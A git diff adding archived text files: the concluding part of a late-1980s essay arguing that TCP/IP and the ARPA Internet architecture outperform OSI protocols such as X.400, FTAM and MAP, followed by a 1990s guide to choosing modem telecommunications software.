building the OSI network + on an internetworking foundation, ISO standardized on the + older less effective host-to-packet-switch-to-packet-data- + subnet-to-packet-switch-to-host (NCP) model which the DARPA + + + ____________________ + + 3 For example, X.25 does flow control on the host to packet + switch connection on the basis of packets transmitted rather + than on the basis of consumption of advertised memory + window. The exchange of lots of little packets on an X.25 + connection can cause continual transmission throttling even + though the receiver has lots of space for incoming data. + + 4 Or as much sense as calling Ethernet LANs DMA-based + networks because the packet switches (an Ethernet controller + is a degenerate case of a packet switch) on the LAN are + typically accessed by DMA. + ____________________ + + + had abandoned 5 years earlier because of lack of flexibility + and other problems. + + ______________________________________________________________ + | | + | Pieces of the ARPA Internet Conceptually | + | | + | | + | | + | | + | | + | | + | (No Graphics) | + | | + | | + ______________________________________________________________ + + + + Nowadays, mostly in response to US vendors and DARPA, pieces + of the ARPA Internet architecture have resurfaced in the OSI + reference model quite incoherently rather than as a + consequence of an integrated correct architectural + viewpoint. Connectionless-mode transmission is described in + ISO/7498/DAD1 which is an addendum to ISO 7498 and not a + core document. Because connectionless-mode transmission is + defined in an addendum, the procedure apparently need not be + implemented, and UK GOSIP, for example, explicitly rejects + the use of the connectionless transmission mode. The + introduction to the 1986 ISO 7498/DAD1 explicitly states, as + follows, that ISO was extremely reluctant to incorporate a + genuine datagram based protocol which could be used for + internetworking. + + ISO 7498 describes the Reference Model of Open + Systems Interconnection. It is the intention of + that International standard that the Reference + model should establish a framework for coordinating + the development of existing and future standards + for the interconnection of systems. The assumption + that connection is a fundamental prerequisite for + communication in the OSI environment permeates the + Reference Model and is one of the most useful and + important unifying concepts of the architecture + which it describes. However, since the + International Standard was produced it has been + realized that this deeply-rooted connection + orientation unnecessarily limits the power and + scope of the Reference Model, since it excludes + important classes of applications and important + classes of communication network technology which + have a fundamentally connectionless nature. + + An OSI connectionless-mode protocol packet may undergo + something like fragmentation, but from the literature, this + form of segmentation as used in OSI networks is hardly + equivalent to ARPA Internet fragmentation. Stallings states + the following in Handbook of Computer-Communications + Standards, the Open Systems Interconnection (OSI) Model and + OSI-Related Standards, on p. 18 (the only reference to + anything resembling fragmentation in the book). + + Whether the application entity sends data in + messages or in a continuous stream, lower level + protocols may need to break up the data into blocks + of some smaller bounded size. This process is + called segmentation. + + Such a process is not equivalent to ARPA Internet + fragmentation. In the ARPA Internet fragmentation is the + process whereby the gateway software operating at the IP + layer converts a single IP packet into several separate IP + packets and then routes the packets. Each ARPA IP fragment + has a full IP header. It is not obvious that each OSI + segment has a complete packet header. The ARPA fragmentation + procedure is not carried out by lower protocol layers. A N- + layer packet in OSI is segmented at layer N-1 while the + packet is routed (relayed) at layer N+1. + + This partitioning of basic internetworking procedures across + layer 2 (N-1), layer 3 (N) and layer 4 (N+1) violates the + following principles described in ISO/DIS 7498: Information + Processing Systems -- Open Systems Interconnection -- Basic + Reference Model. + + P1: do not create so many layers as to make the system + engineering task of describing and integrating the + layers more difficult than necessary [ISO uses + three layers where one could be used]; + + + P2: create a boundary at a point where the description + of services can be small and the number or + interactions across the boundary are minimized [by + putting per-packet relaying in layer 4 at least + two interactions across the boundary are required + per packet]; + + P5: select boundaries at a point which past experience + has demonstrated to be successful [the ARPA + Internet layering boundaries which combine the + addressing, fragmentation and routing in one layer + has proven successful]; + + P6: create a layer where there is a need for a + different level of abstraction in the handling of + data, e.g. morphology, syntax, semantics + [fragmentation, routing, and network addressing + are all seem quit naturally to be part of network + layer semantics as the ARPA Internet example + shows]; + + P9: allow changes of functions or protocols to be made + within a layer without affecting other layers [I + would think changing the manner of addressing at + layer 3 would affect relaying at layer 4]. + + Even if OSI N-1 segmentation and N+1 relaying could be used + in the same way as fragmentation and routing in the ARPA + Internet, it takes a lot more apparatus than simply + permitting the use of the ISO connectionless "internet" + protocol to achieve internetworking. + + The OSI documents almost concede this point because ISO + 7498/DAD 1, ISO/DIS 8473 (Information Processing Systems -- + Data Communications -- Protocol for Providing + Connectionless-Mode Network Service) actually provide for N- + layer segmentation (actually fragmentation) and N-layer + routing right in the network layer in addition to the OSI + standard N-1 segmentation and N+1 relaying. Providing such + functionality directly in the network layer actually seems + in greater accordance with OSI design principles, but if ISO + is really conceding this point, ISO should go back and + redesign the system rather than leaving this mishmash of N-1 + segmentation, N segmentation, N routing and N+1 relaying. + The current connectionless-mode network service is still + insufficient for internetworking because the gateway + protocols are not present and the connectionless-mode error + PDUs (Protocol Data Units) do not provide the necessary ICMP + functionality. The documents also indicate a major + confusion between an internetwork gateway, which connects + different subnetworks of one catenet (concatenated network), + and a simple bridge, which connects several separate + physical networks into a single network at the link layer, + or an interworking unit, which is a subnet switch connecting + two different communications subnets either under different + administrative authorities or using different internal + protocols.5 Tanenbaum writes the following about the + + ____________________ + + 5 This confusion is most distressing from a security + standpoint. The November 2 ARPA Internet (Cornell) virus + attack shows that one of the major threats to network + security is insider attack which is a problem with even the + most isolated corporate network. Because many ARPA Internet + network authorities were assuming insider good behavior, + ARPA Internet network administrators often did not erect + security barriers or close trapdoors. Nevertheless, + gateways have far more potential than bridges or + interworking units to provide reasonable firewalls to hinder + and frustrate insider attack. MIT/Project Athena which + makes judicious use of gateways and which does not assume + insider good behavior was relatively unaffected by the + virus. Any document which confuses gateways, bridges and + interworking units is encouraging security laxity. + ____________________ + + + connectionless-mode network service in Computer Networks, p. + 321. + + In the OSI model, internetworking is done in the + network layer. In all honesty, this is not one of + the areas in which ISO has devised a model that has + met with universal acclaim (network security is + another one).6 From looking at the documents, one + gets the feeling that internetworking was hastily + grafted onto the main structure at the last minute. + In particular, the objections from the ARPA + Internet community did not carry as much weight as + they perhaps should have, inasmuch as DARPA had 10 + years experience running an internet with hundreds + of interconnected networks, and had a good idea of + what worked in practice and what did not. + + Internetworking, the key concept of modern computer + networking, exists within the OSI reference model as a + conceptual wart which violates even the OSI principles. If + ISO had not tacked internetworking onto the OSI model, ISO + was afraid that DARPA and that part of the US computer + industry with experience with modern computer networking + would have absolutely rejected the OSI reference model as + unusable. + ____________________ + + 6 Actually, I find ISO 7498/2 (Security Architecture) to be + one of the more reasonable ISO documents. I would disagree + that simple encryption is the only form of security which + should be performed at the link layer because it seems + sensible that if a multilevel secure mini is replaced by a + cluster of PCs on a LAN, multilevel security might be + desirable at the link layer. Providing multilevel security + at the link layer would require more than simple encryption. + Still, ISO 7498/2 has the virtue of not pretending to solve + completely the network security problem. The document gives + instead a framework indentifying fundamental concepts and + building blocks for developing a security system in a + networked environment. + ____________________ + + + IV. "GREATER RICHNESS" VERSUS DEVELOPER INSIGHT + + In view of this major conceptual flaw which OSI has with + respect to internetworking, no one should therefore be + surprised that instead of tight technical discussion and + reasoning, implementers and designers like me are + continually subjected to vague assertions of "greater + richness" of the OSI protocols over the ARPA Internet + protocols. In ARPA Internet RFCs, real-world practical + discussion is common. I would not mind similar developer + insight or even hints about the integration of these OSI + protocol interpreters into genuine operating systems + participating in an OSI interoperable environment. + + The customers should realize "greater richness" costs a lot + of extra money even if a lot of the added features are + useless to the customer. "Greater richness" might + necessitate the use of a much more powerful processor if + "greater richness" forced much more obligatory but + purposeless protocol processing overhead. "Greater richness" + might also represent a bad or less than optimal partitioning + of the problem. + + A. OSI NETWORK MANAGEMENT AND NETVIEW + + Netview has so much "greater richness" than the network + management protocols and systems under development in the + ARPA Internet context that I have real problems with the + standardization of Netview into OSI network management as + the obligatory user interface and data analysis system. + Netview is big, costly, hard to implement, and extremely + demanding on the rest of the network management system. As + OSI network management apparently subsumes most of the + capabilities of Arpanet ICMP (Internet Control Monitoring + Protocol) which is a sine qua non for internetworking, I am + as a developer rather distressed that full blown OSI network + management (possibly including a full implementation of + FTAM) might have to run on a poor little laser printer with + a dumb ethernet interface card and not much processing + power. + + B. FTAM IS DANGEROUS + + The "greater richness" of FTAM seems to lie in the ability + to transmit single records and in the ability to restart + aborted file transfer sessions. Transmission of single + records seems fairly useless in the general case since + operating systems like Unix and DOS do not base their file + systems on records while the records of file systems like + those of Primos and VMS have no relationship whatsoever to + one another. Including single record or partial file + transfer in the remote transfer utility seems is a good + example of bad partitioning of the problem. This capability + really belongs in a separate network file system. A network + file system should be separate from the remote file transfer + system because the major issues in security, performance, + data encoding translation and locating objects to be + transferred are different in major ways for the two systems. + + The ability to restart aborted file transfers is more + dangerous than helpful. If the transfer were aborted in an + OSI network, it could have been aborted because one or both + of the end hosts died or because some piece of the network + died. If the network died, a checkpointed file transfer can + probably be restarted. If a host died on the other hand, it + may have gradually gone insane and the checkpoints may be + useless. The checkpoints could only be guaranteed if end + hosts have special self-diagnosing hardware (which is + expensive). In the absence of special hardware and ways of + determining exactly why a file transfer aborted, the file + transfer must be restarted from the beginning. By the way, + even with the greater richness of FTAM, it is not clear to + me that a file could be transferred by FTAM from IBM PC A to + a Prime Series 50 to IBM PC B in such a way that the file on + PC A and on PC B could be guaranteed to be identical. + + C. X.400: E-MAIL AS GOOD AS THE POSTAL SERVICE + + As currently used and envisioned, the X.400 family message + handling also has "greater richness." X.400 seems to + include binary-encoded arbitrary message-transmission, + simple mail exchange and notification provided by a + Submission and Delivery Entity (SDE). In comparison with + ARPA SMTP (Simple Mail Transfer Protocol), X.400 is overly + complicated with hordes of User Agent Entities (UAEs), + Message Transfer Agent Entities (MTAEs) and SDEs scurrying + around potentially eating up -- especially during periods of + high traffic -- lots of computer cycles on originator, + target and intermediate host systems because the source UAE + has to transfer mail through the local MTAE and intermediate + MTAEs on a hop-by-hop basis to get to the target machine.7 + + ____________________ + + 7 I have to admit that if I were implementing X.400, I would + probably implement the local UAE and MTAE in one process. + The CCITT specification does not strictly forbid this + design, but the specification does seem to discourage + strongly such a design. I consider it a major flaw with a + protocol specification when the simplest design is so + strongly counterindicated. It does seem to be obligatory + that mail traffic which passes through an Intermediate + System (IS) must pass through an MTAE running on that IS. + ____________________ + + + The design is particularly obnoxious because X.400 increases + the number of ways of getting mail transmission failure by + using so many intermediate entities above the transport + layer. The SMTP architecture is, by contrast, simple and + direct. The user mail program connects to the target system + SMTP daemon by a reliable byte stream (like a TCP virtual + circuit) and transfers the mail. Hop-by-hop transfers + through intermediate systems are possible when needed. One + SMTP daemon simply connects to another the same way a user + mail program connects to an SMTP daemon. + + The relatively greater complexity and obscurity of X.400 + arises because a major purpose of X.400 seems to be to + intermingle intercomputer mail service and telephony + services like telex or teletex to fit the computer + networking into the PTT (Post, Telegraph & Telephone + administration) model of data communications (not an + unreasonable goal for a CCITT protocol specification but + probably not the best technical or cost-effective design for + the typical customer). Mail gateways are apparently + supposed to handle document interchange and conversion. + Document interchange and conversion is a really hard problem + requiring detailed knowledge at least of word processor file + formats, operating system architecture, data encoding, and + machine architecture. + + It may be impossible to develop a satisfactory network + representation which can handle all possible document + content, language and source/target hardware combinations as + well as provide interconversion with tradition telephonic + data transmission encodings. The cost of development of such + a system might be hard to justify, and a customer might have + a hard time justifying paying the price a manufacturer would + probably have to charge for this product. A network file + system or remote file transfer provides a much more + reasonable means of document sharing or interchange than + tacking an e-mail address into a file with a complicated + internal structure, sending this file through the mail + system and then removing the addressing information before + putting the document through the appropriate document or + graphics handler. + + A NETASCII-based e-mail system corresponds exactly to the + obvious mapping of the typical physical letter, which does + not usually contain complicated pictorial or tabular data, + to an electronic letter and is sufficient for practically + all electronic mail traffic. Special hybrid systems can be + + developed for that extremely tiny fraction of traffic for + which NETASCII representations may be insufficient and for + which a network file system or FTP may be insufficient. A + correct partitioning of the electronic mail should be kept + completely separate from telephony services, document + interchange and document conversion. + + + ______________________________________________________________ + | | + | X.400 Mail Connections | + | | + | | + | | + | | + | | + | | + | (No Graphics) | + | | + | | + ______________________________________________________________ + + + D. ARPA SMTP: DESIGNING MAIL AND MESSAGING RIGHT + + The MIT environment at Project Athena, where IBM and DEC are + conducting a major experiment in the productization of + academic software, provides an instructive example of the + differences between e-mail, messaging and notification. The + mail system used at MIT is an implementation of the basic + SMTP-based ARPA Internet mail system. More than four years + ago the ARPA Internet mail system was extremely powerful + and world-spanning. It enabled then and still enables + electronic mail to reach users on any of well over 100,000 + hosts in N. America, Europe, large portions of E. Asia and + Israel. The Citicorp network (described in "How one firm + created its own global electronic mail network," Data + Communications, June 1988, p. 167), while probably + sufficient for Citicorp's current needs, connects an + insignificant number of CPUs (47), provides no potential for + connectivity outside the Citicorp domain of authority and + will probably not scale well with respect to routing or + configuration as it grows. + + The MIT environment is complex and purposely (apparently in + the strategies of DEC and IBM) anticipates the sort of + environment which should become typical within the business + world within the next few years. MIT is an authoritative + domain within the ARPA Internet. The gateways out of the + MIT domain communicate with gateways in other domains via + the Exterior Gateway Protocol (EGP). Internally, currently + used internal gateway protocols are GGP, RIP and HELLO. The + MIT domain is composed of a multitude of Ethernet and other + types of local area networks connected by a fiber-optic + backbone physically and by gateway machines logically. This + use of gateways provides firewalls between the different + physical networks so that little sins (temporary network + meltdowns caused by Chernobyl packets) do not become big + sins propagating themselves throughout the network. The + gatewayed architecture of the MIT network also permits a + necessary traffic engineering by putting file system, paging + and boot servers on the same physical network with their + most likely clients so that this sort of traffic need not be + propagate throughout the complete MIT domain. + + Difficult to reach locations achieve connectivity by means + of non-switched telephone links. Since MIT has its own + 5ESS, these links may be converted to ISDN at some point. + While there are some minis and mainframes in the network, + the vast majority of hosts within the MIT network are + personal workstations with high resolution graphics displays + of the Vaxstation and RT/PC type and personal computers of + the IBM PC, PC/XT and PC/AT type. A few Apollos, Suns, + Sonys and various workstations of the 80386 type as well as + Lisp Machines and PCs from other manufacturers like Apple + are also on the air. Most of the workstations are public. + When a user logs in to such a workstation, after appropriate + Kerberos (MIT security system) authentication, he has full + access to his own network files and directory as well as + access to those resources within the network which he has + the right to use. + + To assist the administration of the MIT domain within the + ARPA Internet, several network processes might be + continually sending (possibly non-ASCII) event messages to a + network management server which might every few hours + perform some data analysis on received messages and then + format a summary mail message to send to a network + administrator. This mail message would be placed in that + network administrator's mailbox by his mail home's SMTP + daemon which then might check whether this network + administrator is reachable somewhere within the local domain + (maybe on a PC with a network interface which was recently + turned on and then was dynamically assigned an IP address by + a local authoritative dynamic IP address server after + appropriate authentication). If this administrator is + available, the SMTP daemon might notify him via the + notification service (maybe by popping up a window on the + administrator's display) that he has received mail which he + could read from his remote location via a post office + protocol. + + I have seen the above system being developed on top of the + basic "static" TCP/IP protocol suite by researchers at MIT, + DEC and IBM over the last 4 years. X.400 contains a lot + this MIT network functionality mishmashed together but I as + a customer or designer prefer the much more modular MIT mail + system. It is an extensible, dynamically configurable + TCP/IP-based architecture from which a customer could chose + those pieces of the system which he needs. The MIT system + requires relatively little static configuration. Yet by + properly choosing the system pieces, coding an appropriate + filter program and setting up a tiny amount of appropriate + configuration data, a customer could even set up a portal to + send e-mail to a fax machine. In comparison, X.400 requires + complicated directory services and an immense amount of + static configuration about the end user and end user machine + to compensate for the internetworking-deficient or + internetworking-incompatible addressing scheme. The need for + such a level of static configuration is unfortunate for + system users because in the real world a PC or workstation + might easily be moved from one LAN to another or might be + easily replaced by a workstation or PC of another type. + + An MIT-style mail system could also be much cheaper to + develop and consequently could be much less costly to + purchase than an X.400 mail system simply because it + represents a much better partitioning of the problem. One + or two engineers produced each module of the MIT mail system + in approximately 6 months. Because of complexity and + obscurity, the development of X.400 products (I saw an + example at Prime) is measured in staff years. The executive + who chooses X.400 will cost his firm an immense amount of + money which will look utterly wasted when his firm joins + with another firm in some venture and the top executives of + both firms try to exchange mail via their X.400 mail + systems. Simple mail exchange between such systems would + likely be very hard to impossible because the different + corporations could easily have made permissible but + incompatible choices in their initial system set-up. At the + very last complete reconfiguration of both systems could be + necessary. Had the firms chosen an ARPA Internet mail + system like the MIT system, once both firms had ARPA + Internet connectivity or set up a domain-to-domain gateway, + mail would simply work. + + + ______________________________________________________________ + | | + | SMTP Mail Connections | + | | + | | + | | + | | + | | + | | + | (No Graphics) | + | | + | | + ______________________________________________________________ + + + V. IS THE TCP/IP PROTOCOL SUITE "STATIC?" + + Because of the mail system development in progress at MIT, + DEC and IBM, the X development which I and others have done + and which is still continuing, SUN NFS (Network File System) + development, IBM AFS (Andrew File System) development, + Xenix-Net development, Kerberos development, and the other + plethora of protocol systems being developed within the ARPA + Internet context (including the VMTP transaction processing + system and commercial distributed database systems like + network Ingress), I am at the very least puzzled by Mr. + Stallings' assertion that "[it] is the military standards + that appear on procurement specifications and that have + driven the development of interoperable commercially + available TCP/IP products." + ______________________________________________________________ + | | + | Partitioning the Problem | + | | + |The X window system is an example of a clearly and well| + |partitioned system. In windowing, the first piece of the| + |problem is virtualizing the high-resolution raster graphics| + |device. Individual applications do not want or need to know| + |about the details of the hardware. Thus, to provide| + |hardware independence, applications should only deal with| + |virtual high-resolution raster-graphics devices and should| + |only know about its own virtual high resolution raster-| + |graphics devices (windows). The next piece of the problem| + |is to translate between virtual high-resolution raster| + |graphics devices and the physical high-resolution raster| + |graphics device (display). The final part of the problem| + |lies in managing the windows on the display. This problem,| + |with a little consideration clearly differentiates itself| + |from translating between virtual and physical high-| + |resolution raster-graphics devices. | + | | | + |In the X window system, communication between the| + |application and its windows is handled by the X library and| + |those libraries built on top of the basic X library.| + |Virtual to physical and physical to virtual translation is| + |handled by the X server. X display management is handled by| + |the X window manager. | | + | | | + |After partitioning the problem, careful consideration of| + |display management leads to the conclusion that if all| + |windows on a display are treated as "children" of a single| + |"root" window, all of which "belong" in some sense to the| + |window manager, then the X window manager itself becomes an| + |ordinary application which talks to the X server via the X| + |library. As a consequence, developers can easily implement| + |different display management strategies as ordinary| + |applications without having to "hack" the operating system.| + |The server itself may be partitioned (under operating| + |systems which support the concept) into a privileged portion| + |which directly accesses the display hardware and a non-| + |privileged portion which requests services from the| + |privileged part of the server. Under Unix, the privileged| + |part of the server goes into the display, mouse and keyboard| + |drivers while the non-privileged part becomes an ordinary| + |application. In common parlance, X server usually refers to| + |the non-privileged part of the X server which is implemented| + |as an ordinary application. | + | | + |The last step in realizing the X window system is choosing| + |the communications mechanism between the X server and| + |ordinary applications or the display manager. Because the| + |problem was nicely partitioned, the communications problem| + |is completely extrinsic to the windowing problem as lives as| + |an easily replaceable interface module. The initial choice| + |at MIT was to use TCP/IP virtual circuits, which provided| + |immediate network transparency, but in fact because X only| + |requires sequenced reliable byte-streams so that DECNET VCs| + |or shared-memory communications mechanisms can easily| + |replace TCP/IP virtual circuits according to the| + |requirements of the target environment. Systems built on| + |well-partitioned approaches to solving problems often show| + |such flexibility because of modularity of the approach and| + |because a successful partitioning of the problem will often| + |in its solution increase the understanding of the original| + |problem that developers can perceive greater tractability| + |and simplicity in the original and related problems than| + |they might have originally seen. | + _____________________________________________________________| + + It seems somewhat propagandistic to label the TCP/IP + protocol suite static and military. New RFCs are + continually being generated as Paul Strauss has pointed out + in his September article. Such new protocols only become + military standards slowly because the military + standardization of new protocols and systems is a long + tedious political process which once completed may require + expensive conformance and verification procedures. After + all, neither the obligatory ICMP nor the immensely useful + UDP (User Datagram Protocol) have associated military + standards. Often, after reviewing those products generated + by market forces, the US military specifies and acquires + products which go beyond existing military standards. By the + way, hierarchical domain name servers and X are used on + MILNET. + + VI. ENTERPRISE NETWORKING AND SOPHISTICATED APPLICATIONS: + SELLING INTERCOMPUTER NETWORKING + + The military are not the only users "more interested in + sophisticated applications than in a slightly enhanced + version of Kermit." The whole DEC enterprise networking + strategy is postulated on this observation. Stallings + ignored my reference to network file systems as a + sophisticated networking application. Yet, in several + consulting jobs, I have seen brokers and investment bankers + make extensive use of network file systems. I also believe + network transparent graphics will be popular in the business + world. At Saloman Brothers both IBM PCs and SUN + workstations are extensively used. With X, it is possible + for a PC user to run a SUN application remotely which uses + the PC as the output device. This capability seems highly + desirable in the Saloman Brothers environment. + + Unfortunately "OSI is unlikely ever to provide for [such] + resource sharing because it is industry-driven." Wayne Rash + Jr., a member of the professional staff of American + Management Systems, Inc. (Arlington, Virginia) who acts as + a US federal government microcomputer consultant, writes the + following in "Is More Always Better," Byte, September 1988, + p. 131. + + You've probably seen the AT&T television ads about + this trend [toward downsizing and the development + of LAN-based resource-sharing systems]. They + feature two executives, one of whom is equipping + his office with stand-alone microcomputers. He's + being intimidated by another executive, who tells + him in a very nasty scene, "Stop blowing your + budget" on personal computers and hook all your + users to a central system. This is one view of + workgroup computing, although AT&T has the perverse + idea that the intimidator is the forward thinker in + the scene. + + AT&T and to an even greater extent the similarly inclined + European PTTs have major input into OSI specification. + + VII. BIG AND SMALL PLAYERS CONSTRAIN OSI + + The inclinations of AT&T and the PTTs are not the only + constraints under which the OSI reference model was + developed. A proprietary computer networking system, sold + to a customer, becomes a cow which the manufacturer can milk + for years. Complete and effective official standards make it + difficult for a company to lock a customer into a + proprietary system. A customer could shop for the cheapest + standard system, or could chose the offering of the + manufacturer considered most reliable. It is proverbial + that no MIS executive gets fired for choosing IBM. Small + players have genuine reason to fear that a big player like + Unisys, which no longer has a major proprietary computer + networking installed base8, or AT&T, which never had a major + proprietary computer networking installed base9, might try + to establish themselves in the minds of customers as the + ultimate authority for the supply of true OSI connectivity. + Thus, small players fear that a complete and effective + official standard might only benefit the big players. + Players like AT&T or Unisys fear IBM might hi-jack the + standard. IBM would prefer to preserve its own proprietary + base and avoid competing with the little guys on a + cost/performance basis in what could turn into a commodity + marker. + + No such considerations were operative in the development of + the ARPA Internet suite of protocols. DARPA had a specific + need for intercomputer networking, was willing to pay top + dollar to get the top experts in the intercomputer + networking field to design the system right and was less + concerned by issues of competition (except perhaps for turf + battles within the U.S. government). By contrast, almost + all players who have input into the ISO standardization + process have had reasons and have apparently worked hard to + limit the effectiveness of OSI systems. + + With all the limitations, which have been incorporated into + the OSI design and suite of protocols, the small players + have no reason to fear being overwhelmed by big players like + Unisys or AT&T. The big players have the dilemma of either + being non-standard or of providing an ineffective, + incomplete but genuine international standards. Small + vendors have lots of room to offer enhanced versions perhaps + drawing from more sophisticated internetworking concepts. In + any case, most small vendors, as well as DEC and IBM, are + hedging their bets by offering both OSI and TCP/IP based + products. IBM seems well positioned with on-going projects + at the University of Michigan, CMU, MIT, Brown and Stanford + and with IBM's creditability in the business world to set + the standard for the business use of TCP/IP style + + ____________________ + + 8 BNA and DCA seem hardly to count even to the Unisys + management. + + 9 Connecting computer systems to the telephone network is + not computer networking in any real sense. + ____________________ + + + networking. By contrast, no major manufacturer really seems + to want to build OSI products, and with the current state of + OSI, there is really no reason to buy OSI products. + + VIII. MAP: FOLLOWING THE OSI MODEL + + MAP shows perfectly the result of following the OSI model to + produce a computer networking system. GM analysts sold MAP + to GM's top management on the basis of the predicted cost + savings. Since GM engineers designed, sponsored and gave + birth to MAP, I am not surprised that an internal GM study + has found MAP products less expensive than non-MAP compliant + products. If the internal study found anything else, heads + would have to roll. Yet, as far as I know, neither IBM nor + DEC have bought into the concept although both companies + would probably supply MAP products for sufficient profit. + Ungermann-Bass and other similar vendors have also announced + a disinclination to produce IEEE 802.4 based products. + Allen-Bradley has chosen DECNET in preference to a MAP-based + manufacturing and materials handling system. This defection + of major manufacturers, vendors and customers from the MAP + market has to limit the amount of MAP products available for + customers to purchase. + + Nowadays, GM can purchase equipment for its manufacturing + floor from a limited selection of products, which are the + computer networking equivalent of bows and arrows, whereas + in the past GM was stuck with rocks and knives. Bows and + arrows might be sufficient for the current GM applications; + however, if my firm had designed MAP, GM would have the + networking equivalent of nuclear weapons, for the MAP + network would have been built around an internet with a + genuine multimedium gatewayed easily modifiable environment + so that in those locations where token-bus noise resistance + is insufficient and where higher bandwidths might be needed, + fiber media could be used. With the imminent deluge of + fiber-based products, MAP looks excessively limited. + (Actually, the MAP standards committees have shown some + belated awareness that fiber might be useful in factories.) + + IX. EXTENDING OSI VIA PROTOCOL CONVERTERS: QUO VADIT? + + Interestingly enough, even when OSI systems try to overcome + OSI limitations via protocol conversion to provide access to + some of the sophisticated resource sharing to which ARPA + Internet users have long been accustomed, the service is + specified in such a way as to place major limitations on + performance of more sophisticated applications. Just like + IBM and other system manufacturers, I have no problems with + providing to the customer at sufficient profit exactly + those products which the customer specifies. Yet, if + contracted for advice on a system like the NBS TCP/IP-to-OSI + protocol converter IS (Intermediate System), described in + "Getting there from here," Data Communications, August 1988, + I might point out that such a system could easily double + packet traffic on a single LAN, decrease network + availability and reliability, prevent alternate routing, and + harm throughput by creating a bottleneck at the IS which + must perform both TCP/IP and OSI protocol termination. + + X. CONCLUSION + + Official standardization simply by itself does not make a + proposal good. Good standards generally were already good + before they became official standards. The IEEE and other + standards bodies generate lots of standards for systems + which quickly pass into oblivion. OSI was generated de + novo, apparently with a conscious decision to ignore the + already functioning ARPA Internet example. Unless a major + rethinking of OSI (like redesigning OSI on the solid + foundation of the internetworking concept) takes place in + the near future, I must conclude that the ARPA Internet + suite of protocols will be around for a long time and that + users of OSI will be immensely disappointed by the cost, + performance, flexibility and manageability of their + networks. + + I. Introduction 1 + II. The Debate 2 + III. Internetworking: The Key System Level Start Point 4 + IV. "Greater Richness" Versus Developer Insight 14 + A. OSI Network Management and Netview 14 + B. FTAM is Dangerous 14 + C. X.400: E-Mail as Good as the Postal Service 15 + D. ARPA SMTP: Designing Mail and Messaging Right 18 + V. Is the TCP/IP Protocol Suite "Static?" 22 + VI. Enterprise Networking and Sophisticated Applications: + Selling Intercomputer Networking 24 + VII. Big and Small Players Constrain OSI 24 + VIII. MAP: Following the OSI Model 26 + IX. Extending OSI Via Protocol Converters: Quo vadit? 26 + X. Conclusion 27 + \ No newline at end of file diff --git a/textfiles.com/internet/telecom.txt b/textfiles.com/internet/telecom.txt new file mode 100644 index 00000000..b0771dae --- /dev/null +++ b/textfiles.com/internet/telecom.txt @@ -0,0 +1,151 @@ + + C H O O S I N G M O D E M S O F T W A R E + + A modem needs some kind of telecommunications program to + make it work. Some commercial online services, such as + America Online and Prodigy, require special software to + obtain access. Most BBSs and other online services can be + accessed by almost any telecommunications software + program. There are dozens of good general purpose + telecommunications software programs available. There are + also some real lemons. + + There is a Terminal program that comes with Windows 3.1. + It is what is called a "bare bones" telecommunications + program. In fact, in my humble opinion, it should only be + used to download another telecommunications program. The + Windows Terminal program has Xmodem and Kermit as the + only transfer protocols. That was fine ten years ago but + will not do in today's world of high speed modems. Below + are a few features you should look for in a + telecommunications program. + + + WHAT TO LOOK FOR IN TELECOMMUNICATIONS SOFTWARE + + ZMODEM PROTOCOL + + The Zmodem protocol has become the industry standard. You + will want this feature in your telecommunications + software. Zmodem has excellent error checking and can + even resume an interrupted file transfer if you select + this option on your communications software. This ability + is sometimes referred to as "crash recovery." + + + SCREEN CAPTURE + + The telecommunications software that you select should + have a screen capture feature. This is often called a + capture log. With screen capture turned on, your + telecommunications software saves whatever scrolls across + your screen to a text file. Then, when you are off-line, + you can use LIST (shareware), an editor, or a word + processing program to review the screen capture file. A + screen capture text file is often called a capture log + file. + + + SCROLL-BACK BUFFER + + A scroll-back buffer allows you to review past screens. + This feature is real handy when important information has + passed by, and you need it immediately while online. + Often, a scroll-back buffer is activated by pressing a + key combination such as B. Then, you can use your + arrow keys to scroll-back. A good scroll-back buffer will + also have a search feature. + + + TERMINAL EMULATION TYPES + + Terminal emulation is the ability of your + telecommunications software to emulate different types of + terminals. This peculiar term comes from "dumb terminal" + which consists of a keyboard, a monitor, and no brains + (or memory). These dumb terminals were used to connect to + mainframes and minicomputers. These often required a + particular manufacturer's dumb terminals. Hence, the term + "terminal emulation." Your telecommunications program has + different terminal emulations, so your computer can talk + to a variety of host computers. + + Almost all telecommunications software will emulate TTY, + ANSI, and DEC VT100/101/102. It is nice to have even + more. If you want to connect to the Internet, it is + important to have VT100 (or VT102) terminal emulation. + + + MACRO CAPABILITIES + + A macro is a series of keystrokes that are executed when + a certain key or key combination is pressed. If the + telecommunications software has macro recording + capabilities, it can make it much easier for you. You can + store data such as your name, password, etc., as a macro. + Suppose you assign your name to the function key labeled + . Then, you can press to type your name. + + + SCRIPT LANGUAGE + + A script file is a collection of commands, instructions, + or text that can be executed by your telecommunications + program. A script is particularly useful when you want to + log on automatically to a BBS or online service. Often, + the better telecommunications programs have an automatic + script writing feature. + + + WINDOWS OR DOS? + + If you are primarily a Windows user, you will probably + want to use a Windows based telecommunications program. + Some people, who like DOS, think that using a Windows + telecommunications program is a little like turning on a + light switch with a broom handle. It is really a matter + of personal choice. If you are comfortable in DOS, you + may find that you can get online work done faster with a + DOS based program. + + + COMMERCIAL, SHAREWARE, OR FREEWARE? + + Commercial software programs are sold by traditional + software vendors. You will find commercial software at + your favorite super computer store or software specialty + store. However, some of the best telecommunications + programs are available for trial use as shareware. + Shareware is a method of marketing software for the + program's author. Shareware programs are copyrighted. The + manuals for these programs are usually found on the disk + in the form of a text file. You can print the manuals, + using your printer. You can obtain these programs for + trial use from shareware distributors for a copying fee + of just a few dollars per disk. You can also download + shareware programs from BBSs and online services. + Shareware programs require a separate payment to the + author if found useful. The wonderful thing about + shareware is you get to try it out before you buy it. + + According to Boardwatch magazine, the majority of modem + maniacs use shareware terminal programs. A freeware + software program has copyright restrictions; however, the + author is not requesting a registration fee. Freeware + programs can be found from the same sources that offer + shareware programs. Here are some of the better full- + featured DOS-based telecommunications programs available + in shareware: Telix, Qmodem Test Drive, and Telemate. + Ripterm is an easy to set up freeware program. If you are + looking for Windows shareware telecommunications + programs, you should take a look at MicroLink for + Windows. + + Some commercial DOS-based telecommunications programs + that are excellent include: Procomm Plus, Qmodem Pro for + DOS, and Crosstalk Mark 4. Some of the best full-featured + commercial Windows telecommunications programs include + Procomm Plus for Windows, Qmodem Pro for Windows, and + Crosstalk for Windows. + + =========================================================== diff --git a/textfiles.com/internet/telenet.access b/textfiles.com/internet/telenet.access new file mode 100644 index 0000000000000000000000000000000000000000..087f3cd4ccf6a3896a8ea8dfa29e23f2929b85bc GIT binary patch literal 4048 